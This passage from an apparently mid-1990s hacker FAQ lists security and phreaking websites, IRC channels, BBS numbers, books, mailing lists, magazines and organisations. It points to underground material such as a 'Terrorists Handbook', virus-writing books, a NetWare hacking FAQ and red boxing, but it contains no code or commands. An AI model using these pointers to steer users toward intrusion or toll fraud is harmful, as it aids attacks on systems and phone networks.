N www.l0pht.com/radiophone                    (Radiophone Archive)
N www.l0pht.com/~oblivion/IIRG.html           (International Information Retrie
N www.lat.com                                 (Los Altos Technologies)
  www.lerc.nasa.gov/Unix_Team/Dist_Computing_Security.html (Security)
N www.lib.iup.edu/~seaman/hack/bone.html      (Bone's H/P/C page o' rama)
N www.links.net
N www.louisville.edu/~wrbake01                (The GodZ of CyberSpacE)
  www.lysator.liu.se:7500/mit-guide/mit-guide.html (Lockpicking Guide)
  www.lysator.liu.se:7500/terror/thb_title.html (Terrorists Handbook)
  www.magi.com/~vektor/linenoiz.html
N www.mastercard.com                     (Secure Electronic Payment Protocol)
  www.mcs.com/~candyman/http/radio.html       (Radar)
  www.mcs.com/~candyman/under.html            (Cell)
N www.mcs.net/~candyman                       (H/P)
  www.mgmua.com/hackers/index.html            (Hackers, the movie)
N www.milkyway.com                            (Milkyway Networks Corporation)
N www.mit.edu:8001/people/warlord/pgp-faq.html  (PGP 2.6.2 FAQ, Buglist, Fixes, a
N www.monmouth.com/~jshahom                   (The Insomniac's Home Page)
N www.mot.com                                 (Motorola)
  www.mpr.ca/                                 (MPR Teltech Ltd)
N www.msen.com/~emv/tubed/spoofing.html       (Info on IP spoofing attacks)
N www.mwjournal.com/mwj.html                  (Microwave Journal)
N www.ncsa.uiuc.edu/SDG/Software/Mosaic/Docs/security.html(Security in Mosaic)
N www.ncsl.nist.gov                           (NIST Computer Systems Laboratory
  www.net23.com                               (Max Headroom)
N www.netpart.com                             (NetPartners)
  www.netresponse.com:80/zldf/
N www.nic.surfnet.nl/surfnet/security/cert-nl.html(CERT-NL)
  www.nist.gov                                (NIST)
N www.nokia.com                               (Nokia)
N www.nortel.com                              (Northern Telecom)
  www.ntt.jp                                  (Nippon Telephone)
N www.nynex.co.uk/nynex                       (NYNEX)
U www.odci.gov                                (The CIA)
N www.one2one.co.uk                           (Mercury One-2-One)
N www.open.gov.uk/oftel/oftelwww/oftelhm.htm  (OFTEL's Home Page)
  www.openmarket.com/info/cryptography/applied_cryptography.html
  www.pacbell.com                             (Pacific Bell)
N www.panix.com/vtw
  www.paranoia.com/astrostar/fringe.html
N www.paranoia.com/hpa                        (Paranoia's H/P/A Links)
  www.paranoia.com/mthreat                    (ToneLoc)
N www.paranoia.com/~coldfire                  (Cold Fire's Web Page)
N www.paranoia.com/~darkfox                   (Darkfox's Home Page)
N www.paranoia.com/~ice9                      (Ice-9's Home Page)
  www.pegasus.esprit.ec.org/people/arne/pgp.html (PGP)
N www.phantom.com/~darkcyde                   (DarkCyde)
N www.phantom.com/~king                       (Randy King's WWW Page)
N www.phillips.com                            (Phillips Electronics)
N www.phred.org                               (The Phred Networking Organizatio
N www.pic.net/uniloc/starlink                 (Starlink)
  www.planet.net/onkeld                       (BlueBeep Home Page)
  www.primenet.com/~kludge/haqr.html          (Kludge)
  www.quadralay.com/www/Crypt/Crypt.html      (Quadralay Cryptography)
  www.qualcomm.com/cdma/wireless.html         (Qualcomm CDMA)
N www.ramp.com/~lcs/winpgp.html               (PGP with MS/Win)
N www.raptor.com                              (Raptor)
  www.raptor.com/raptor/raptor.html           (Raptor Network Isolator)
  www.research.att.com                        (AT&T)
N www.rocksoft.com/~ross                      (Rocksoft Pty (Veracity)
N www.rogers.com                              (Rogers Communications)
  www.rsa.com                                 (RSA Data Security)
N www.sasknet.sk.ca/Pages/sktlhome.html       (SaskTel)
  www.satelnet.org/~ccappuc
N www.sccsi.com/lsli/lsli.homepage.html       (PORTUS)
N www.sctc.com                                (Secure Computing Corporation)
  www.seas.upenn.edu/~rourkem                 (FakeMail FAQ)
N www.seduction.com
N www.sei.cmu.edu/SEI/programs/cert.html      (CERT Coordination Center)
N www.service.com/cm/uswest/usw1.html         (USWest)
N www.shore.net/~eskwired/hp.html
N www.soci.niu.edu/~cudigest
N www.somar.com                               (Somar Software)
N www.soscorp.com                             (Sources of Supply Corp)
  www.spatz.com/pecos/index.html              (The World of Hacking)
  www.spy.org                                 (Computer Systems Consulting)
N www.spy.org                                 (spy.org)
  www.sri.com                                 (SRI)
N www.stentor.ca                              (Stentor (Canadian telcos)
N www.tecc.co.uk/public/uk-telecom/btns.html  (BT "star services")
N www.telecoms-mag.com/tcs.html               (Telecommunications Magazine)
N www.telkom.co.za                            (Telkom S.A. Ltd)
  www.telstra.com.au/info/security.html       (Security Reference Index)
N www.teresa.com
  www.tezcat.com/web/security/security_top_level.html
N www.tiac.net/users/triad/philes/jokai.html  (Jokai Reservation for the Preser
N www.ticllc.net/~scrtnizr
  www.tis.com                                 (Trusted Information Systems)
N www.trcone.com/t_crookb.html                (CrookBook)
N www.tregistry.com/ttr                       (Telecomunications Training Cours
  www.tri.sbc.com                             (Southwestern Bell)
  www.tricon.net/Comm/synapse                 (Synapse Magazine)
  www.tufts.edu/~jpagano/
N www.uccs.edu/~abusby/hpawebsites.html
N www.uccs.edu/~abusby/k0p.html               (kn0wledge phreak)
  www.uci.agh.edu.pl/pub/security             (Security)
N www.uknet.net/pnc                           (The Personal Number Company)
  www.umcc.umich.edu/~doug/virus-faq.html     (Virus)
N www.underground.org                         (underground.org)
N www.underground.org/bugs/
  www.usfca.edu/crackdown/crack.html          (Hacker Crackdown)
N www.vodafone.co.uk                          (Vodafone)
N www.vptt.ch/natel.html                      (Natel)
U www.wam.umd.edu/~ankh/public/devil_does_unix
N www.warwick.ac.uk/WWW/search/Phones/nng.html  (National Number Group Codes)
N www.well.com/user/abacard
N www.well.com/user/crunch                    (Captain Crunch)
N www.wfu.edu/~wilsonbd
  www.wiltel.com                              (Wiltel)
N www.wiltel.com/glossary/glossary.html       (Telecommunications Glossary)
N www.wired.com                               (HotWired)
N www2.undernet.org:8080/~cs93jtl/IRC.html    (IRC)
```

In addition to browsing these fine pages, you can often find what you are looking for by using one of these automated search engines:

www.yahoo.com
www.lycos.com
www.webcrawler.com

07. What are some IRC channels of interest to hackers?

#2600
#cellular
#hack
#phreak
#linux
#realhack
#root
#unix
#warez

08. What are some BBS's of interest to hackers?

	Rune Stone	(203)832-8441	NUP: Cyberdeck
	The Truth Sayer's Domain	(210)493-9975	
	Hacker's Haven	(303)343-4053	
	Independent Nation	(413)573-1809	
	Ut0PiA	(315)656-5135	
	underworld_1994.com	(514)683-1894	
	Alliance Communications	(612)251-8596	
	Maas-Neotek	(617)855-2923	
	Apocalypse 2000	(708)676-9855	
	K0dE Ab0dE	(713)579-2276	
	fARM R0Ad 666	(713)855-0261	
	kn0wledge Phreak <k0p> BBS	(719)578-8288	NUP=NO NUP
N	The Edge of Reality	(805)496-7460	
	Static Line	(806)747-0802	
	Area 51	(908)526-4384	
N	The Drunk Forces	+972-3-5733477	

09. What are some books of interest to hackers?

General Computer Security

Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

This is an excellent book. It gives a broad overview of computer security without sacrificing detail. A must read for the beginning security expert.

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Computer Related Risks
Author: Peter G. Neumann
Publisher: Addison-Wesley
Copyright Date: 1995

ISBN: 0-201-55805-X

Computer Security Management
Author: Karen Forcht
Publisher: boyd & fraser publishing company
Copyright Date: 1994
ISBN: 0-87835-881-1

The Stephen Cobb Complete Book of PC and LAN Security
Author: Stephen Cobb
Publisher: Windcrest Books
Copyright Date: 1992
ISBN: 0-8306-9280-0 (hardback) 0-8306-3280-8 (paperback)

Security in Computing
Author: Charles P. Pfleeger
Publisher: Prentice Hall
Copyright Date: 1989
ISBN: 0-13-798943-1.

Building a Secure Computer System
Author: Morrie Gasser
Publisher: Van Nostrand Reinhold Co., New York.
Copyright Date:
ISBN: 0-442-23022-2

Modern Methods for Computer Security
Author: Lance Hoffman
Publisher: Prentice Hall
Copyright Date: 1977
ISBN:

Windows NT 3.5 Guidelines for Security, Audit and Control
Author:
Publisher: Microsoft Press
Copyright Date:
ISBN: 1-55615-814-9

Protection and Security on the Information Superhighway
Author: Dr. Frederick B. Cohen)
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-11389-1

N Commonsense Computer Security
Author: Martin Smith
Publisher: McGraw-Hill
Copyright Date: 1993
ISBN: 0-07-707805-5

N Combatting Computer Crime
Author: Jerry Papke
Publisher: McGraw-Hill, Inc. / Chantico Publishing Company, Inc.
Copyright Date: 1992
ISBN: 0-8306-7664-3

N Computer Crime: a Crimefighters Handbook
Author: David Icove, Karl Seger and William VonStorch
Publisher: O'Reilly & Associates
Copyright Date: 1995
ISBN: 1-56592-086-4

Unix System Security

```
~~~~~~~~~~~~~~~~~~~~
  Practical Unix Security
  Author: Simson Garfinkel and Gene Spafford
  Publisher: O'Reilly & Associates, Inc.
  Copyright Date: 1991
  ISBN: 0-937175-72-2

  Firewalls and Internet Security
  Author: William Cheswick and Steven Bellovin
  Publisher: Addison Wesley
  Copyright Date: 1994
  ISBN: 0-201-63357-4

  Unix System Security
  Author: Rik Farrow
  Publisher: Addison Wesley
  Copyright Date: 1991
  ISBN: 0-201-57030-0

  Unix Security: A Practical Tutorial
  Author: N. Derek Arnold
  Publisher: McGraw Hill
  Copyright Date: 1993
  ISBN: 0-07-002560-6

  Unix System Security: A Guide for Users and Systems Administrators
  Author: David A. Curry
  Publisher: Addison-Wesley
  Copyright Date: 1992
  ISBN: 0-201-56327-4

  Unix System Security
  Author: Patrick H. Wood and Stephen G. Kochan
  Publisher: Hayden Books
  Copyright Date: 1985
  ISBN: 0-672-48494-3

  Unix Security for the Organization
  Author: Richard Bryant
  Publisher: Sams
  Copyright Date: 1994
  ISBN: 0-672-30571-2

N Building Internet Firewalls
  Author: D. Brent Chapman and Elizabeth D. Zwicky
  Publisher: O'Reilly and Associates, Inc.
  Copyright Date: 1995
  ISBN: 1-56592-124-0

N Unix System Security Essentials
  Author: Christopher Braun
  Publisher: Addison Wesley
  Copyright Date: 1995
  ISBN: 0-201-42775-3

N Internet Firewalls and Network Security
  Author: Karanjit S. Siyan and Chris Hare
  Publisher: New Riders Publishing
  Copyright Date: 1995
  ISBN: 1-56205-437-6


Network Security
~~~~~~~~~~~~~~~~
```

Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993
ISBN: 1-56884-021-7

Not a total waste of paper, but definitely not worth the $49.95 purchase price. The book is a rehash of previously published information. The only secret we learn from reading the book is that Sylvia Moon is a younger woman madly in love with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon
Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: How to Plan For It and How to Achieve It
Author: Richard M. Baker
Publisher: McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0

N Network Security
Author: Steven L. Shaffer and Alan R. Simon
Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4

N Network Security: Private Communications in a Public World
Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1

N Network and Internetwork Security: Principles and Practice
Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0

N Implementing Internet Security
Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6

N Actually Useful Internet Security Techniques
Author: Larry J. Hughes, Jr.
Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-508-9

Cryptology

Applied Cryptography: Protocols, Algorithms, and Source Code in C

Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

Bruce Schneier's book replaces all other texts on cryptography. If you are interested in cryptography, this is a must read. This may be the first and last book on cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users
Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park
Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press,
Copyright Date: 1993
ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution
Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:

N Computer Privacy Handbook
Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
ISBN: 1-56609-171-3

N E-Mail Security with PGP and PEM
Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X

N PGP: Pretty Good Privacy
Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8

Programmed Threats

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications

Copyright Date: 1990
ISBN: 0-929408-02-0

N The Giant Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1995
ISBN:

Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground
Author: George Smith
Publisher: American Eagle Publications
Copyright Date: 1994
ISBN: 0-929408-09-8

U A Short Course on Computer Viruses
Author: Dr. Fred Cohen
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2

N Robert Slade's Guide to Computer Viruses
Author: Robert Slade
Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0

Telephony

Engineering and Operations in the Bell System
Author: R.F. Rey
Publisher: Bell Telephont Laboratories
Copyright Date: 1983
ISBN: 0-932764-04-5

Although hopelessly out of date, this book remains *THE* book on telephony. This book is 100% Bell, and is loved by phreaks the world over.

Telephony: Today and Tomorrow
Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary
Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.
Copyright Date: 1992
ISBN: 0-8273-4615-8

```
        I find this dictionary to be an excellent reference book on
        telephony, and I recommend it to anyone with serious
        intentions in the field.

  Tandy/Radio Shack Cellular Hardware
  Author: Judas Gerard and Damien Thorn
  Publisher: Phoenix Rising Communications
  Copyright Date: 1994
  ISBN:

  The Phone Book
  Author: Carl Oppendahl
  Publisher: Consumer Reports
  Copyright Date:
  ISBN: 0-89043-364-x

        Listing of every cellular ID in the us, plus roaming ports,
        and info numbers for each carrier.

  Principles of Caller I.D.
  Author:
  Publisher: International MicroPower Corp.
  Copyright Date:
  ISBN:


Hacking History and Culture
~~~~~~~~~~~~~~~~~~~~~~~~~~~
  The Hacker Crackdown: Law and Disorder on the Electronic Frontier
  Author: Bruce Sterling
  Publisher: Bantam Books
  Copyright Date: 1982
  ISBN: 0-553-56370-X

        Bruce Sterling has recently released the book FREE to the net.
        The book is much easier to read in print form, and the
        paperback is only $5.99.  Either way you read it, you will be
        glad you did.  Mr. Sterling is an excellent science fiction
        author and has brought his talent with words to bear on the
        hacking culture.  A very enjoyable reading experience.

  Cyberpunk
  Author: Katie Hafner and John Markoff
  Publisher: Simon and Schuster
  Copyright Date: 1991
  ISBN: 0-671-77879-X

  The Cuckoo's Egg
  Author: Cliff Stoll
  Publisher: Simon and Schuster
  Copyright Date: 1989
  ISBN: 0-671-72688-9

  Hackers: Heroes of the Computer Revolution
  Author: Steven Levy
  Publisher: Doubleday
  Copyright Date: 1984
  ISBN: 0-440-13495-6


Unclassified
~~~~~~~~~~~~
  The Hacker's Handbook
```

Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

> The Knightmare is no super hacker. There is little or no real information in this book. The Knightmare gives useful advice like telling you not to dress up before going trashing.
> The Knightmare's best hack is fooling Loompanics into publishing this garbage.

The Day The Phones Stopped
Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc.
Copyright Date: 1992
ISBN: 1-55611-286-6

> Total garbage. Paranoid delusions of a lunatic. Less factual data that an average issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
Author: Doug Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage
$25 on VH S format in 38-min
Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95 - a Phon-E & R.F. Burns Production
See the video Emmanuel Goldstein thought would have the Feds knocking at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts) Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes only. Not for sale to government or law enforcement organizations. Running time aproximately 90 minutes.
$25.00   NTSC VHS
$35.00   PAL/Secam VHS
Custom Video Productions
(908)842-6378
videocvp@ix.netcom.com

11. What are some mailing lists of interest to hackers?

```
  Academic Firewalls
  Registration Address: Send a message to majordomo@greatcircle.com
                        containing the line "subscribe firewalls user@host"

N The Alert
  Registration Address: Send a message to request-alert@iss.net
                        containing the line "subscribe alert"

  Bugtraq
  Reflector Address:    bugtraq@fc.net
  Registration Address: bugtraq-request@fc.net

  Cert Tools
  Reflector Address:    cert-tools@cert.org
  Registration Address: cert-tools-request@cert.org

  Computers and Society
  Reflector Address:    Comp-Soc@limbo.intuitive.com
  Registration Address: taylor@limbo.intuitive.com

  Coordinated Feasibility Effort to Unravel State Data
  Reflector Address:    ldc-sw@cpsr.org
  Registration Address:

  CPSR Announcement List
  Reflector Address:    cpsr-announce@cpsr.org
  Registration Address:

  CPSR - Intellectual Property
  Reflector Address:    cpsr-int-prop@cpsr.org
  Registration Address:

  CPSR - Internet Library
  Reflector Address:    cpsr-library@cpsr.org
  Registration Address:

N Cypherpunks
  Registration Address: Send a message to majordomo@toad.com
                        containing the line "subscribe cypherpunks"

  DefCon Announcement List
  Registration Address: Send a message to majordomo@fc.net containing
                        the line "subscribe dc-announce"

  DefCon Chat List
  Registration Address: Send a message to majordomo@fc.net containing
                        the line "subscribe dc-stuff"

N Discount Long Distance Digest
  Registration Address: Send a message to: dld-request@webcom.com
                        containing the line "subscribe"

  Electronic Payment
  Registration Address: e-payment@cc.bellcore.com

  IDS (Intruder Detection Systems)
  Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
                        containing the line "subscribe ids"

N Information Warfare
  Registration Address: E-mail iw@all.net with a request to be added.

N Linux-Alert
```

Registration Address: majordomo@linux.nrao.edu

N Linux-Security
Registration Address: majordomo@linux.nrao.edu

Macintosh Security
Reflector Address: mac-security@eclectic.com
Registration Address: mac-security-request@eclectic.com

NeXT Managers
Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com
Subject: Your Name <user@host>
Body: *ignored*

Phiber-Scream
Registration Address: Send a message to listserv@netcom.com
containing the line "subscribe phiber-scream user@host"

phruwt-l (Macintosh H/P)
Registration Address: Send a message to filbert@netcom.com
with the subject "phruwt-l"

rfc931-users
Reflector Address: rfc931-users@kramden.acf.nyu.edu
Registration Address: brnstnd@nyu.edu

RSA Users
Reflector Address: rsaref-users@rsa.com
Registration Address: rsaref-users-request@rsa.com

WWW Security
Registration Address: www-security@ns2.rutgers.edu

12. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly

E-mail addresses: info@2600.com - to get info on 2600
index@2600.com - to get a copy of our index
meetings@2600.com - for info on starting your own meeting
subs@2600.com -- for subscription problems
letters@2600.com -- to send us a letter
articles@2600.com -- to send us an article
2600@2600.com -- to send us a general message

Subscription Address: 2600 Subscription Dept
PO Box 752
Middle Island, NY 11953-0752

Letters and article submission address: 2600 Editorial Dept
PO Box 99
Middle Island, NY 11953-0099

Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.
Overseas: $30/yr individual, $65 corporate.

```
Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/or controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)


Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address: Privacy Newsletter
                      P.O. Box 8206
                      Philadelphia, PA 19101-8206


Subscriptions: $99/yr (US)  $149/yr (Overseas)


Wired
~~~~~
Subscription Address: subscriptions@wired.com
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)


Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664


Cybertek: The Cyberpunk Technical Journal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509
```

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

PrivateLine

5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher over or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine

13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order	ftp.etext.org	/pub/Zines/CoTNo
Empire Times	ftp.etext.org	/pub/Zines/Emptimes
FEH	ftp.fc.net	/pub/defcon/FEH
The Infinity Concept	infonexus.com	/pub/Philes/Zines/TheInfinityConcept
Phrack	ftp.fc.net	/pub/phrack

14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)

CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policy makers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

- We foster and support public discussion of and public responsibility for decisions involving the use of computers in systems critical to society.

- We work to dispel popular myths about the infallibility of technological systems.

- We challenge the assumption that technology alone can solve political and social problems.

- We critically examine social and technical issues within the computer profession, nationally and internationally.

- We encourage the use of computer technology to improve the quality of life.

CPSR Membership Categories

75	REGULAR MEMBER
50	Basic member
200	Supporting member
500	Sponsoring member
1000	Lifetime member
20	Student/low income member
50	Foreign subscriber
50	Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)

The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities that will advance freedom and openness in computer-based communications. It is a member-supported, nonprofit group that grew from the conviction that a new public interest organization was needed in the information age; that this organization would enhance and protect the democratic potential of new computer communications technology. From the beginning, the EFF determined to become an organization that would combine technical, legal, and public policy expertise, and would apply these skills to the myriad issues and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU

The Free Software Foundation is dedicated to eliminating restrictions on people's right to use, copy, modify, and redistribute computer programs. We promote the development and use of free software in all areas using computers. Specifically, we are putting together a complete, integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that will be upwardly compatible with Unix. Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price. You may or may not pay money to get GNU software, but regardless you have two specific freedoms once you get it: first, the freedom to copy a program and give it away to your friends and co-workers; and second, the freedom to change a program as you wish, by having full access to source code. You can study the source and learn how such programs are written. You may then be able to port it, improve it, and share your changes with others. If you redistribute GNU software you may charge a distribution fee or give it away, so long as you include the source code and the GPL (GNU General Public License).

Free Software Foundation, Inc.
673 Massachusetts Avenue
Cambridge, MA 02139-3309 USA
Electronic mail: gnu@prep.ai.mit.edu

Telephone: +1-617-876-3296
Fax: +1-617-492-9057
Fax (in Japan): 0031-13-2473 (KDD)
0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment: everything you need to work with a computer, either as a programmer or as a person in an office or home. The core is an operating system, which consists of a central program called a kernel that runs the other programs on the computer, and a large number of ancillary programs for handling files, etc. The Free Software Foundation is developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and debuggers. It also has editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers, and Internet navigators. The FSF already distributes most of the programs used in an operating system, all the tools regularly used by programmers, and much more.

The League for Programming Freedom (LPF)

The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyright law as it was understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices.

Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

SotMesc

Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but mostly by selling hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS 39560

Computer Emergency Response Team (CERT

CERT is the Computer Emergency Response Team that was formed by the Defense Advanced Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited during the Internet worm incident. The CERT charter is to work with the Internet community to facilitate its response to computer security events involving Internet hosts, to take proactive steps to raise the community's awareness of computer security issues, and to conduct research targeted at improving the security of existing systems.

CERT products and services include 24-hour technical assistance for responding to computer security incidents, product vulnerability assistance, technical documents, and seminars. In addition, the team maintains a number of mailing lists (including one for CERT advisories) and provides an anonymous FTP server: cert.org (192.88.209.5), where security-related documents, past CERT advisories, and tools are archived.

CERT contact information:

U.S. mail address
CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.

Internet E-mail address
cert@cert.org

Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer
7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
emergencies during other hours.

FAX number
(412)268-6989

15. What are some radio programs of interest to hackers?

Off The Hook	New York	99.5 FM	Tue	8pm EST
Full Disclosure Live	Short Wave	WWCR 5065 khz	Sun	8pm EST
Full Disclosure Live	Oil City, PA	WOYL AM-1340	Sun	8pm EST
Full Disclosure Live	Satellite	Telstar 302 (T2), Ch 21, 5.8	Sun	8pm EST

16. What are other FAQ's of interest to hackers?

Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad <sn@spyder.org>
ftp: jumper.mcc.ac.uk   /pub/security/netware/faq.zip
ftp: ftp.fastlane.net   /pub/nomad/nw/faq.zip
ftp: ftp.best.com   /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing
